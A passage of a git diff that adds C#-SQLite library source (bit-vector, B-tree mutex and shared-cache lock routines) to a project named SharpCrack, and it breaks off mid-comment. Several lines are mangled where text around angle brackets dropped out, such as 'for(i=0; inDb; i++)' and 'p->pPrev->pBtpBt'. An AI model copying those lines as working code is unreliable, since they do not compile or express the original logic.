error code if +** anything goes wrong. +** +** This routine might cause sub-bitmaps to be allocated. Failing +** to get the memory needed to hold the sub-bitmap is the only +** that can go wrong with an insert, assuming p and i are valid. +** +** The calling function must ensure that p is a valid Bitvec object +** and that the value for "i" is within range of the Bitvec object. +** Otherwise the behavior is undefined. +*/ +static int sqlite3BitvecSet( Bitvec p, u32 i ) +{ + u32 h; + if ( p == null ) + return SQLITE_OK; + Debug.Assert( i > 0 ); + Debug.Assert( i <= p.iSize ); + i--; + while ( ( p.iSize > BITVEC_NBIT ) && p.iDivisor != 0 ) + { + u32 bin = i / p.iDivisor; + i = i % p.iDivisor; + if ( p.u.apSub[bin] == null ) + { + p.u.apSub[bin] = sqlite3BitvecCreate( p.iDivisor ); + //if ( p.u.apSub[bin] == null ) + // return SQLITE_NOMEM; + } + p = p.u.apSub[bin]; + } + if ( p.iSize <= BITVEC_NBIT ) + { + p.u.aBitmap[i / BITVEC_SZELEM] |= (byte)( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ); + return SQLITE_OK; + } + h = BITVEC_HASH( i++ ); + /* if there wasn't a hash collision, and this doesn't */ + /* completely fill the hash, then just add it without */ + /* worring about sub-dividing and re-hashing. */ + if ( 0 == p.u.aHash[h] ) + { + if ( p.nSet < ( BITVEC_NINT - 1 ) ) + { + goto bitvec_set_end; + } + else + { + goto bitvec_set_rehash; + } + } + /* there was a collision, check to see if it's already */ + /* in hash, if not, try to find a spot for it */ + do + { + if ( p.u.aHash[h] == i ) + return SQLITE_OK; + h++; + if ( h >= BITVEC_NINT ) + h = 0; + } while ( p.u.aHash[h] != 0 ); +/* we didn't find it in the hash. h points to the first */ +/* available free spot. check to see if this is going to */ +/* make our hash too "full". */ +bitvec_set_rehash: + if ( p.nSet >= BITVEC_MXHASH ) + { + u32 j; + int rc; + u32[] aiValues = new u32[BITVEC_NINT];// = sqlite3StackAllocRaw(0, sizeof(p->u.aHash)); + //if ( aiValues == null ) + //{ + // return SQLITE_NOMEM; + //} + //else + { + + Buffer.BlockCopy( p.u.aHash, 0, aiValues, 0, aiValues.Length * ( sizeof( u32 ) ) );// memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); + p.u.apSub = new Bitvec[BITVEC_NPTR];//memset(p->u.apSub, 0, sizeof(p->u.apSub)); + p.iDivisor = (u32)( ( p.iSize + BITVEC_NPTR - 1 ) / BITVEC_NPTR ); + rc = sqlite3BitvecSet( p, i ); + for ( j = 0; j < BITVEC_NINT; j++ ) + { + if ( aiValues[j] != 0 ) + rc |= sqlite3BitvecSet( p, aiValues[j] ); + } + //sqlite3StackFree( null, aiValues ); + return rc; + } + } +bitvec_set_end: + p.nSet++; + p.u.aHash[h] = i; + return SQLITE_OK; +} + +/* +** Clear the i-th bit. +** +** pBuf must be a pointer to at least BITVEC_SZ bytes of temporary storage +** that BitvecClear can use to rebuilt its hash table. +*/ +static void sqlite3BitvecClear( Bitvec p, u32 i, u32[] pBuf ) +{ + if ( p == null ) + return; + Debug.Assert( i > 0 ); + i--; + while ( p.iDivisor != 0 ) + { + u32 bin = i / p.iDivisor; + i = i % p.iDivisor; + p = p.u.apSub[bin]; + if ( null == p ) + { + return; + } + } + if ( p.iSize <= BITVEC_NBIT ) + { + p.u.aBitmap[i / BITVEC_SZELEM] &= (byte)~( ( 1 << (int)( i & ( BITVEC_SZELEM - 1 ) ) ) ); + } + else + { + u32 j; + u32[] aiValues = pBuf; + Array.Copy( p.u.aHash, aiValues, p.u.aHash.Length );//memcpy(aiValues, p->u.aHash, sizeof(p->u.aHash)); + p.u.aHash = new u32[aiValues.Length];// memset(p->u.aHash, 0, sizeof(p->u.aHash)); + p.nSet = 0; + for ( j = 0; j < BITVEC_NINT; j++ ) + { + if ( aiValues[j] != 0 && aiValues[j] != ( i + 1 ) ) + { + u32 h = BITVEC_HASH( aiValues[j] - 1 ); + p.nSet++; + while ( p.u.aHash[h] != 0 ) + { + h++; + if ( h >= BITVEC_NINT ) + h = 0; + } + p.u.aHash[h] = aiValues[j]; + } + } + } +} + +/* +** Destroy a bitmap object. Reclaim all memory used. +*/ +static void sqlite3BitvecDestroy( ref Bitvec p ) +{ + if ( p == null ) + return; + if ( p.iDivisor != 0 ) + { + u32 i; + for ( i = 0; i < BITVEC_NPTR; i++ ) + { + sqlite3BitvecDestroy( ref p.u.apSub[i] ); + } + } + //sqlite3_free( ref p ); +} + +/* +** Return the value of the iSize parameter specified when Bitvec *p +** was created. +*/ +static u32 sqlite3BitvecSize( Bitvec p ) +{ + return p.iSize; +} + +#if !SQLITE_OMIT_BUILTIN_TEST +/* +** Let V[] be an array of unsigned characters sufficient to hold +** up to N bits. Let I be an integer between 0 and N. 0<=I>3] |= (1<<(I&7)) +static void SETBIT( byte[] V, int I ) +{ + V[I >> 3] |= (byte)( 1 << ( I & 7 ) ); +} + +//#define CLEARBIT(V,I) V[I>>3] &= ~(1<<(I&7)) +static void CLEARBIT( byte[] V, int I ) +{ + V[I >> 3] &= (byte)~( 1 << ( I & 7 ) ); +} + +//#define TESTBIT(V,I) (V[I>>3]&(1<<(I&7)))!=0 +static int TESTBIT( byte[] V, int I ) +{ + return ( V[I >> 3] & ( 1 << ( I & 7 ) ) ) != 0 ? 1 : 0; +} + +/* +** This routine runs an extensive test of the Bitvec code. +** +** The input is an array of integers that acts as a program +** to test the Bitvec. The integers are opcodes followed +** by 0, 1, or 3 operands, depending on the opcode. Another +** opcode follows immediately after the last operand. +** +** There are 6 opcodes numbered from 0 through 5. 0 is the +** "halt" opcode and causes the test to end. +** +** 0 Halt and return the number of errors +** 1 N S X Set N bits beginning with S and incrementing by X +** 2 N S X Clear N bits beginning with S and incrementing by X +** 3 N Set N randomly chosen bits +** 4 N Clear N randomly chosen bits +** 5 N S X Set N bits from S increment X in array only, not in bitvec +** +** The opcodes 1 through 4 perform set and clear operations are performed +** on both a Bitvec object and on a linear array of bits obtained from malloc. +** Opcode 5 works on the linear array only, not on the Bitvec. +** Opcode 5 is used to deliberately induce a fault in order to +** confirm that error detection works. +** +** At the conclusion of the test the linear array is compared +** against the Bitvec object. If there are any differences, +** an error is returned. If they are the same, zero is returned. +** +** If a memory allocation error occurs, return -1. +*/ +static int sqlite3BitvecBuiltinTest( u32 sz, int[] aOp ) +{ + Bitvec pBitvec = null; + byte[] pV = null; + int rc = -1; + int i, nx, pc, op; + u32[] pTmpSpace; + + /* Allocate the Bitvec to be tested and a linear array of + ** bits to act as the reference */ + pBitvec = sqlite3BitvecCreate( sz ); + pV = sqlite3_malloc( (int)( sz + 7 ) / 8 + 1 ); + pTmpSpace = new u32[BITVEC_SZ];// sqlite3_malloc( BITVEC_SZ ); + if ( pBitvec == null || pV == null || pTmpSpace == null ) + goto bitvec_end; + Array.Clear( pV, 0, (int)( sz + 7 ) / 8 + 1 );// memset( pV, 0, ( sz + 7 ) / 8 + 1 ); + + /* NULL pBitvec tests */ + sqlite3BitvecSet( null, (u32)1 ); + sqlite3BitvecClear( null, 1, pTmpSpace ); + + /* Run the program */ + pc = 0; + while ( ( op = aOp[pc] ) != 0 ) + { + switch ( op ) + { + case 1: + case 2: + case 5: + { + nx = 4; + i = aOp[pc + 2] - 1; + aOp[pc + 2] += aOp[pc + 3]; + break; + } + case 3: + case 4: + default: + { + nx = 2; + i64 i64Temp = 0; + sqlite3_randomness( sizeof( i64 ), ref i64Temp ); + i = (int)i64Temp; + break; + } + } + if ( ( --aOp[pc + 1] ) > 0 ) + nx = 0; + pc += nx; + i = (int)( ( i & 0x7fffffff ) % sz ); + if ( ( op & 1 ) != 0 ) + { + SETBIT( pV, ( i + 1 ) ); + if ( op != 5 ) + { + if ( sqlite3BitvecSet( pBitvec, (u32)i + 1 ) != 0 ) + goto bitvec_end; + } + } + else + { + CLEARBIT( pV, ( i + 1 ) ); + sqlite3BitvecClear( pBitvec, (u32)i + 1, pTmpSpace ); + } + } + + /* Test to make sure the linear array exactly matches the + ** Bitvec object. Start with the assumption that they do + ** match (rc==0). Change rc to non-zero if a discrepancy + ** is found. + */ + rc = sqlite3BitvecTest( null, 0 ) + sqlite3BitvecTest( pBitvec, sz + 1 ) + + sqlite3BitvecTest( pBitvec, 0 ) + + (int)( sqlite3BitvecSize( pBitvec ) - sz ); + for ( i = 1; i <= sz; i++ ) + { + if ( ( TESTBIT( pV, i ) ) != sqlite3BitvecTest( pBitvec, (u32)i ) ) + { + rc = i; + break; + } + } + + /* Free allocated structure */ +bitvec_end: + //sqlite3_free( ref pTmpSpace ); + //sqlite3_free( ref pV ); + sqlite3BitvecDestroy( ref pBitvec ); + return rc; +} +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/btmutex_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/btmutex_c.cs new file mode 100644 index 0000000..9cac822 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/btmutex_c.cs @@ -0,0 +1,304 @@ +using System.Diagnostics; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { +/* +** 2007 August 27 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +************************************************************************* +** +** This file contains code used to implement mutexes on Btree objects. +** This code really belongs in btree.c. But btree.c is getting too +** big and we want to break it down some. This packaged seemed like +** a good breakout. + ************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2011-05-19 13:26:54 ed1da510a239ea767a01dc332b667119fa3c908e +** +************************************************************************* +*/ +//#include "btreeInt.h" +#if NO_SQLITE_OMIT_SHARED_CACHE +//#if !SQLITE_OMIT_SHARED_CACHE +#if SQLITE_THREADSAFE + +/* +** Obtain the BtShared mutex associated with B-Tree handle p. Also, +** set BtShared.db to the database handle associated with p and the +** p->locked boolean to true. +*/ +static void lockBtreeMutex(Btree *p){ + assert( p->locked==0 ); + assert( sqlite3_mutex_notheld(p->pBt->mutex) ); + assert( sqlite3_mutex_held(p->db->mutex) ); + + sqlite3_mutex_enter(p->pBt->mutex); + p->pBt->db = p->db; + p->locked = 1; +} + +/* +** Release the BtShared mutex associated with B-Tree handle p and +** clear the p->locked boolean. +*/ +static void unlockBtreeMutex(Btree *p){ + BtShared *pBt = p->pBt; + assert( p->locked==1 ); + assert( sqlite3_mutex_held(pBt->mutex) ); + assert( sqlite3_mutex_held(p->db->mutex) ); + assert( p->db==pBt->db ); + + sqlite3_mutex_leave(pBt->mutex); + p->locked = 0; +} + +/* +** Enter a mutex on the given BTree object. +** +** If the object is not sharable, then no mutex is ever required +** and this routine is a no-op. The underlying mutex is non-recursive. +** But we keep a reference count in Btree.wantToLock so the behavior +** of this interface is recursive. +** +** To avoid deadlocks, multiple Btrees are locked in the same order +** by all database connections. The p->pNext is a list of other +** Btrees belonging to the same database connection as the p Btree +** which need to be locked after p. If we cannot get a lock on +** p, then first unlock all of the others on p->pNext, then wait +** for the lock to become available on p, then relock all of the +** subsequent Btrees that desire a lock. +*/ +void sqlite3BtreeEnter(Btree *p){ + Btree *pLater; + + /* Some basic sanity checking on the Btree. The list of Btrees + ** connected by pNext and pPrev should be in sorted order by + ** Btree.pBt value. All elements of the list should belong to + ** the same connection. Only shared Btrees are on the list. */ + assert( p->pNext==0 || p->pNext->pBt>p->pBt ); + assert( p->pPrev==0 || p->pPrev->pBtpBt ); + assert( p->pNext==0 || p->pNext->db==p->db ); + assert( p->pPrev==0 || p->pPrev->db==p->db ); + assert( p->sharable || (p->pNext==0 && p->pPrev==0) ); + + /* Check for locking consistency */ + assert( !p->locked || p->wantToLock>0 ); + assert( p->sharable || p->wantToLock==0 ); + + /* We should already hold a lock on the database connection */ + assert( sqlite3_mutex_held(p->db->mutex) ); + + /* Unless the database is sharable and unlocked, then BtShared.db + ** should already be set correctly. */ + assert( (p->locked==0 && p->sharable) || p->pBt->db==p->db ); + + if( !p->sharable ) return; + p->wantToLock++; + if( p->locked ) return; + + /* In most cases, we should be able to acquire the lock we + ** want without having to go throught the ascending lock + ** procedure that follows. Just be sure not to block. + */ + if( sqlite3_mutex_try(p->pBt->mutex)==SQLITE_OK ){ +p->pBt->db = p->db; +p->locked = 1; +return; + } + + /* To avoid deadlock, first release all locks with a larger + ** BtShared address. Then acquire our lock. Then reacquire + ** the other BtShared locks that we used to hold in ascending + ** order. + */ + for(pLater=p->pNext; pLater; pLater=pLater->pNext){ +assert( pLater->sharable ); +assert( pLater->pNext==0 || pLater->pNext->pBt>pLater->pBt ); +assert( !pLater->locked || pLater->wantToLock>0 ); +if( pLater->locked ){ + unlockBtreeMutex(pLater); +} + } + lockBtreeMutex(p); + for(pLater=p->pNext; pLater; pLater=pLater->pNext){ +if( pLater->wantToLock ){ + lockBtreeMutex(pLater); +} + } +} + +/* +** Exit the recursive mutex on a Btree. +*/ +void sqlite3BtreeLeave(Btree *p){ + if( p->sharable ){ +assert( p->wantToLock>0 ); +p->wantToLock--; +if( p->wantToLock==0 ){ + unlockBtreeMutex(p); +} + } +} + +#if NDEBUG +/* +** Return true if the BtShared mutex is held on the btree, or if the +** B-Tree is not marked as sharable. +** +** This routine is used only from within assert() statements. +*/ +int sqlite3BtreeHoldsMutex(Btree *p){ + assert( p->sharable==0 || p->locked==0 || p->wantToLock>0 ); + assert( p->sharable==0 || p->locked==0 || p->db==p->pBt->db ); + assert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->pBt->mutex) ); + assert( p->sharable==0 || p->locked==0 || sqlite3_mutex_held(p->db->mutex) ); + + return (p->sharable==0 || p->locked); +} +#endif + + +#if !NOT_SQLITE_OMIT_INCRBLOB +/* +** Enter and leave a mutex on a Btree given a cursor owned by that +** Btree. These entry points are used by incremental I/O and can be +** omitted if that module is not used. +*/ +void sqlite3BtreeEnterCursor(BtCursor *pCur){ + sqlite3BtreeEnter(pCur->pBtree); +} +void sqlite3BtreeLeaveCursor(BtCursor *pCur){ + sqlite3BtreeLeave(pCur->pBtree); +} +#endif //* SQLITE_OMIT_INCRBLOB */ + + +/* +** Enter the mutex on every Btree associated with a database +** connection. This is needed (for example) prior to parsing +** a statement since we will be comparing table and column names +** against all schemas and we do not want those schemas being +** reset out from under us. +** +** There is a corresponding leave-all procedures. +** +** Enter the mutexes in accending order by BtShared pointer address +** to avoid the possibility of deadlock when two threads with +** two or more btrees in common both try to lock all their btrees +** at the same instant. +*/ +void sqlite3BtreeEnterAll(sqlite3 db){ + int i; + Btree *p; + assert( sqlite3_mutex_held(db->mutex) ); + for(i=0; inDb; i++){ +p = db->aDb[i].pBt; +if( p ) sqlite3BtreeEnter(p); + } +} +void sqlite3BtreeLeaveAll(sqlite3 db){ + int i; + Btree *p; + assert( sqlite3_mutex_held(db->mutex) ); + for(i=0; inDb; i++){ +p = db->aDb[i].pBt; +if( p ) sqlite3BtreeLeave(p); + } +} + +/* +** Return true if a particular Btree requires a lock. Return FALSE if +** no lock is ever required since it is not sharable. +*/ +int sqlite3BtreeSharable(Btree *p){ + return p->sharable; +} + +#if NDEBUG +/* +** Return true if the current thread holds the database connection +** mutex and all required BtShared mutexes. +** +** This routine is used inside assert() statements only. +*/ +int sqlite3BtreeHoldsAllMutexes(sqlite3 db){ + int i; + if( !sqlite3_mutex_held(db->mutex) ){ +return 0; + } + for(i=0; inDb; i++){ +Btree *p; +p = db->aDb[i].pBt; +if( p && p->sharable && + (p->wantToLock==0 || !sqlite3_mutex_held(p->pBt->mutex)) ){ + return 0; +} + } + return 1; +} +#endif //* NDEBUG */ + +#if NDEBUG +/* +** Return true if the correct mutexes are held for accessing the +** db->aDb[iDb].pSchema structure. The mutexes required for schema +** access are: +** +** (1) The mutex on db +** (2) if iDb!=1, then the mutex on db->aDb[iDb].pBt. +** +** If pSchema is not NULL, then iDb is computed from pSchema and +** db using sqlite3SchemaToIndex(). +*/ +int sqlite3SchemaMutexHeld(sqlite3 db, int iDb, Schema *pSchema){ + Btree *p; + assert( db!=0 ); + if( pSchema ) iDb = sqlite3SchemaToIndex(db, pSchema); + assert( iDb>=0 && iDbnDb ); + if( !sqlite3_mutex_held(db->mutex) ) return 0; + if( iDb==1 ) return 1; + p = db->aDb[iDb].pBt; + assert( p!=0 ); + return p->sharable==0 || p->locked==1; +} +#endif //* NDEBUG */ + +#else //* SQLITE_THREADSAFE>0 above. SQLITE_THREADSAFE==0 below */ +/* +** The following are special cases for mutex enter routines for use +** in single threaded applications that use shared cache. Except for +** these two routines, all mutex operations are no-ops in that case and +** are null #defines in btree.h. +** +** If shared cache is disabled, then all btree mutex routines, including +** the ones below, are no-ops and are null #defines in btree.h. +*/ + +void sqlite3BtreeEnter(Btree *p){ + p->pBt->db = p->db; +} +void sqlite3BtreeEnterAll(sqlite3 db){ + int i; + for(i=0; inDb; i++){ +Btree *p = db->aDb[i].pBt; +if( p ){ + p->pBt->db = p->db; +} + } +} +#endif //* if SQLITE_THREADSAFE */ +#endif //* ifndef SQLITE_OMIT_SHARED_CACHE */ + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/btree_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/btree_c.cs new file mode 100644 index 0000000..95f88dd --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/btree_c.cs @@ -0,0 +1,9567 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; +using sqlite3_int64 = System.Int64; +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + using DbPage = Sqlite3.PgHdr; + + public partial class Sqlite3 + { +/* +** 2004 April 6 +** +** The author disclaims copyright to this source code. In place of +** a legal notice, here is a blessing: +** +** May you do good and not evil. +** May you find forgiveness for yourself and forgive others. +** May you share freely, never taking more than you give. +** +** This file implements a external (disk-based) database using BTrees. +** See the header comment on "btreeInt.h" for additional information. +** Including a description of file format and an overview of operation. +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 +** +************************************************************************* +*/ +//#include "btreeInt.h" + +/* +** The header string that appears at the beginning of every +** SQLite database. +*/ +static byte[] zMagicHeader = Encoding.UTF8.GetBytes( SQLITE_FILE_HEADER ); + +/* +** Set this global variable to 1 to enable tracing using the TRACE +** macro. +*/ +#if TRACE +static bool sqlite3BtreeTrace=false; /* True to enable tracing */ +//# define TRACE(X) if(sqlite3BtreeTrace){printf X;fflush(stdout);} +static void TRACE(string X, params object[] ap) { if (sqlite3BtreeTrace) printf(X, ap); } +#else +//# define TRACE(X) +static void TRACE( string X, params object[] ap ) +{ +} +#endif + + + +/* +** Extract a 2-byte big-endian integer from an array of unsigned bytes. +** But if the value is zero, make it 65536. +** +** This routine is used to extract the "offset to cell content area" value +** from the header of a btree page. If the page size is 65536 and the page +** is empty, the offset should be 65536, but the 2-byte value stores zero. +** This routine makes the necessary adjustment to 65536. +*/ +//#define get2byteNotZero(X) (((((int)get2byte(X))-1)&0xffff)+1) +static int get2byteNotZero( byte[] X, int offset ) +{ + return ( ( ( ( (int)get2byte( X, offset ) ) - 1 ) & 0xffff ) + 1 ); +} + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +/* +** A list of BtShared objects that are eligible for participation +** in shared cache. This variable has file scope during normal builds, +** but the test harness needs to access it so we make it global for +** test builds. +** +** Access to this variable is protected by SQLITE_MUTEX_STATIC_MASTER. +*/ +#if SQLITE_TEST +BtShared *SQLITE_WSD sqlite3SharedCacheList = 0; +#else +//static BtShared *SQLITE_WSD sqlite3SharedCacheList = 0; +#endif +#endif //* SQLITE_OMIT_SHARED_CACHE */ + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +/* +** Enable or disable the shared pager and schema features. +** +** This routine has no effect on existing database connections. +** The shared cache setting effects only future calls to +** sqlite3_open(), sqlite3_open16(), or sqlite3_open_v2(). +*/ +int sqlite3_enable_shared_cache(int enable){ +sqlite3GlobalConfig.sharedCacheEnabled = enable; +return SQLITE_OK; +} +#endif + + + +#if !NO_SQLITE_OMIT_SHARED_CACHE +/* +** The functions querySharedCacheTableLock(), setSharedCacheTableLock(), +** and clearAllSharedCacheTableLocks() +** manipulate entries in the BtShared.pLock linked list used to store +** shared-cache table level locks. If the library is compiled with the +** shared-cache feature disabled, then there is only ever one user +** of each BtShared structure and so this locking is not necessary. +** So define the lock related functions as no-ops. +*/ +//#define querySharedCacheTableLock(a,b,c) SQLITE_OK +static int querySharedCacheTableLock( Btree p, Pgno iTab, u8 eLock ) +{ + return SQLITE_OK; +} + +//#define setSharedCacheTableLock(a,b,c) SQLITE_OK +//#define clearAllSharedCacheTableLocks(a) +static void clearAllSharedCacheTableLocks( Btree a ) +{ +} +//#define downgradeAllSharedCacheTableLocks(a) +static void downgradeAllSharedCacheTableLocks( Btree a ) +{ +} +//#define hasSharedCacheTableLock(a,b,c,d) 1 +static bool hasSharedCacheTableLock( Btree a, Pgno b, int c, int d ) +{ + return true; +} +//#define hasReadConflicts(a, b) 0 +static bool hasReadConflicts( Btree a, Pgno b ) +{ + return false; +} +#endif + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE + +#if SQLITE_DEBUG +/* +**** This function is only used as part of an assert() statement. *** +** +** Check to see if pBtree holds the required locks to read or write to the +** table with root page iRoot. Return 1 if it does and 0 if not. +** +** For example, when writing to a table with root-page iRoot via +** Btree connection pBtree: +** +** assert( hasSharedCacheTableLock(pBtree, iRoot, 0, WRITE_LOCK) ); +** +** When writing to an index that resides in a sharable database, the +** caller should have first obtained a lock specifying the root page of +** the corresponding table. This makes things a bit more complicated, +** as this module treats each table as a separate structure. To determine +** the table corresponding to the index being written, this +** function has to search through the database schema. +** +** Instead of a lock on the table/index rooted at page iRoot, the caller may +** hold a write-lock on the schema table (root page 1). This is also +** acceptable. +*/ +static int hasSharedCacheTableLock( +Btree pBtree, /* Handle that must hold lock */ +Pgno iRoot, /* Root page of b-tree */ +int isIndex, /* True if iRoot is the root of an index b-tree */ +int eLockType /* Required lock type (READ_LOCK or WRITE_LOCK) */ +){ +Schema pSchema = (Schema *)pBtree.pBt.pSchema; +Pgno iTab = 0; +BtLock pLock; + +/* If this database is not shareable, or if the client is reading +** and has the read-uncommitted flag set, then no lock is required. +** Return true immediately. +*/ +if( (pBtree.sharable==null) +|| (eLockType==READ_LOCK && (pBtree.db.flags & SQLITE_ReadUncommitted)) +){ +return 1; +} + +/* If the client is reading or writing an index and the schema is +** not loaded, then it is too difficult to actually check to see if +** the correct locks are held. So do not bother - just return true. +** This case does not come up very often anyhow. +*/ +if( isIndex && (!pSchema || (pSchema->flags&DB_SchemaLoaded)==0) ){ +return 1; +} + +/* Figure out the root-page that the lock should be held on. For table +** b-trees, this is just the root page of the b-tree being read or +** written. For index b-trees, it is the root page of the associated +** table. */ +if( isIndex ){ +HashElem p; +for(p=sqliteHashFirst(pSchema.idxHash); p!=null; p=sqliteHashNext(p)){ +Index pIdx = (Index *)sqliteHashData(p); +if( pIdx.tnum==(int)iRoot ){ +iTab = pIdx.pTable.tnum; +} +} +}else{ +iTab = iRoot; +} + +/* Search for the required lock. Either a write-lock on root-page iTab, a +** write-lock on the schema table, or (if the client is reading) a +** read-lock on iTab will suffice. Return 1 if any of these are found. */ +for(pLock=pBtree.pBt.pLock; pLock; pLock=pLock.pNext){ +if( pLock.pBtree==pBtree +&& (pLock.iTable==iTab || (pLock.eLock==WRITE_LOCK && pLock.iTable==1)) +&& pLock.eLock>=eLockType +){ +return 1; +} +} + +/* Failed to find the required lock. */ +return 0; +} + +#endif //* SQLITE_DEBUG */ + +#if SQLITE_DEBUG +/* +** This function may be used as part of assert() statements only. **** +** +** Return true if it would be illegal for pBtree to write into the +** table or index rooted at iRoot because other shared connections are +** simultaneously reading that same table or index. +** +** It is illegal for pBtree to write if some other Btree object that +** shares the same BtShared object is currently reading or writing +** the iRoot table. Except, if the other Btree object has the +** read-uncommitted flag set, then it is OK for the other object to +** have a read cursor. +** +** For example, before writing to any part of the table or index +** rooted at page iRoot, one should call: +** +** assert( !hasReadConflicts(pBtree, iRoot) ); +*/ +static int hasReadConflicts(Btree pBtree, Pgno iRoot){ +BtCursor p; +for(p=pBtree.pBt.pCursor; p!=null; p=p.pNext){ +if( p.pgnoRoot==iRoot +&& p.pBtree!=pBtree +&& 0==(p.pBtree.db.flags & SQLITE_ReadUncommitted) +){ +return 1; +} +} +return 0; +} +#endif //* #if SQLITE_DEBUG */ + +/* +** Query to see if Btree handle p may obtain a lock of type eLock +** (READ_LOCK or WRITE_LOCK) on the table with root-page iTab. Return +** SQLITE_OK if the lock may be obtained (by calling +** setSharedCacheTableLock()), or SQLITE_LOCKED if not. +*/ +static int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock){ +BtShared pBt = p.pBt; +BtLock pIter; + +Debug.Assert( sqlite3BtreeHoldsMutex(p) ); +Debug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK ); +Debug.Assert( p.db!=null ); +Debug.Assert( !(p.db.flags&SQLITE_ReadUncommitted)||eLock==WRITE_LOCK||iTab==1 ); + +/* If requesting a write-lock, then the Btree must have an open write +** transaction on this file. And, obviously, for this to be so there +** must be an open write transaction on the file itself. +*/ +Debug.Assert( eLock==READ_LOCK || (p==pBt.pWriter && p.inTrans==TRANS_WRITE) ); +Debug.Assert( eLock==READ_LOCK || pBt.inTransaction==TRANS_WRITE ); + +/* This routine is a no-op if the shared-cache is not enabled */ +if( !p.sharable ){ +return SQLITE_OK; +} + +/* If some other connection is holding an exclusive lock, the +** requested lock may not be obtained. +*/ +if( pBt.pWriter!=p && pBt.isExclusive ){ +sqlite3ConnectionBlocked(p.db, pBt.pWriter.db); +return SQLITE_LOCKED_SHAREDCACHE; +} + +for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ +/* The condition (pIter.eLock!=eLock) in the following if(...) +** statement is a simplification of: +** +** (eLock==WRITE_LOCK || pIter.eLock==WRITE_LOCK) +** +** since we know that if eLock==WRITE_LOCK, then no other connection +** may hold a WRITE_LOCK on any table in this file (since there can +** only be a single writer). +*/ +Debug.Assert( pIter.eLock==READ_LOCK || pIter.eLock==WRITE_LOCK ); +Debug.Assert( eLock==READ_LOCK || pIter.pBtree==p || pIter.eLock==READ_LOCK); +if( pIter.pBtree!=p && pIter.iTable==iTab && pIter.eLock!=eLock ){ +sqlite3ConnectionBlocked(p.db, pIter.pBtree.db); +if( eLock==WRITE_LOCK ){ +Debug.Assert( p==pBt.pWriter ); +pBt.isPending = 1; +} +return SQLITE_LOCKED_SHAREDCACHE; +} +} +return SQLITE_OK; +} +#endif //* !SQLITE_OMIT_SHARED_CACHE */ + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +/* +** Add a lock on the table with root-page iTable to the shared-btree used +** by Btree handle p. Parameter eLock must be either READ_LOCK or +** WRITE_LOCK. +** +** This function assumes the following: +** +** (a) The specified Btree object p is connected to a sharable +** database (one with the BtShared.sharable flag set), and +** +** (b) No other Btree objects hold a lock that conflicts +** with the requested lock (i.e. querySharedCacheTableLock() has +** already been called and returned SQLITE_OK). +** +** SQLITE_OK is returned if the lock is added successfully. SQLITE_NOMEM +** is returned if a malloc attempt fails. +*/ +static int setSharedCacheTableLock(Btree p, Pgno iTable, u8 eLock){ +BtShared pBt = p.pBt; +BtLock pLock = 0; +BtLock pIter; + +Debug.Assert( sqlite3BtreeHoldsMutex(p) ); +Debug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK ); +Debug.Assert( p.db!=null ); + +/* A connection with the read-uncommitted flag set will never try to +** obtain a read-lock using this function. The only read-lock obtained +** by a connection in read-uncommitted mode is on the sqlite_master +** table, and that lock is obtained in BtreeBeginTrans(). */ +Debug.Assert( 0==(p.db.flags&SQLITE_ReadUncommitted) || eLock==WRITE_LOCK ); + +/* This function should only be called on a sharable b-tree after it +** has been determined that no other b-tree holds a conflicting lock. */ +Debug.Assert( p.sharable ); +Debug.Assert( SQLITE_OK==querySharedCacheTableLock(p, iTable, eLock) ); + +/* First search the list for an existing lock on this table. */ +for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ +if( pIter.iTable==iTable && pIter.pBtree==p ){ +pLock = pIter; +break; +} +} + +/* If the above search did not find a BtLock struct associating Btree p +** with table iTable, allocate one and link it into the list. +*/ +if( !pLock ){ +pLock = (BtLock *)sqlite3MallocZero(sizeof(BtLock)); +if( !pLock ){ +return SQLITE_NOMEM; +} +pLock.iTable = iTable; +pLock.pBtree = p; +pLock.pNext = pBt.pLock; +pBt.pLock = pLock; +} + +/* Set the BtLock.eLock variable to the maximum of the current lock +** and the requested lock. This means if a write-lock was already held +** and a read-lock requested, we don't incorrectly downgrade the lock. +*/ +Debug.Assert( WRITE_LOCK>READ_LOCK ); +if( eLock>pLock.eLock ){ +pLock.eLock = eLock; +} + +return SQLITE_OK; +} +#endif //* !SQLITE_OMIT_SHARED_CACHE */ + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +/* +** Release all the table locks (locks obtained via calls to +** the setSharedCacheTableLock() procedure) held by Btree object p. +** +** This function assumes that Btree p has an open read or write +** transaction. If it does not, then the 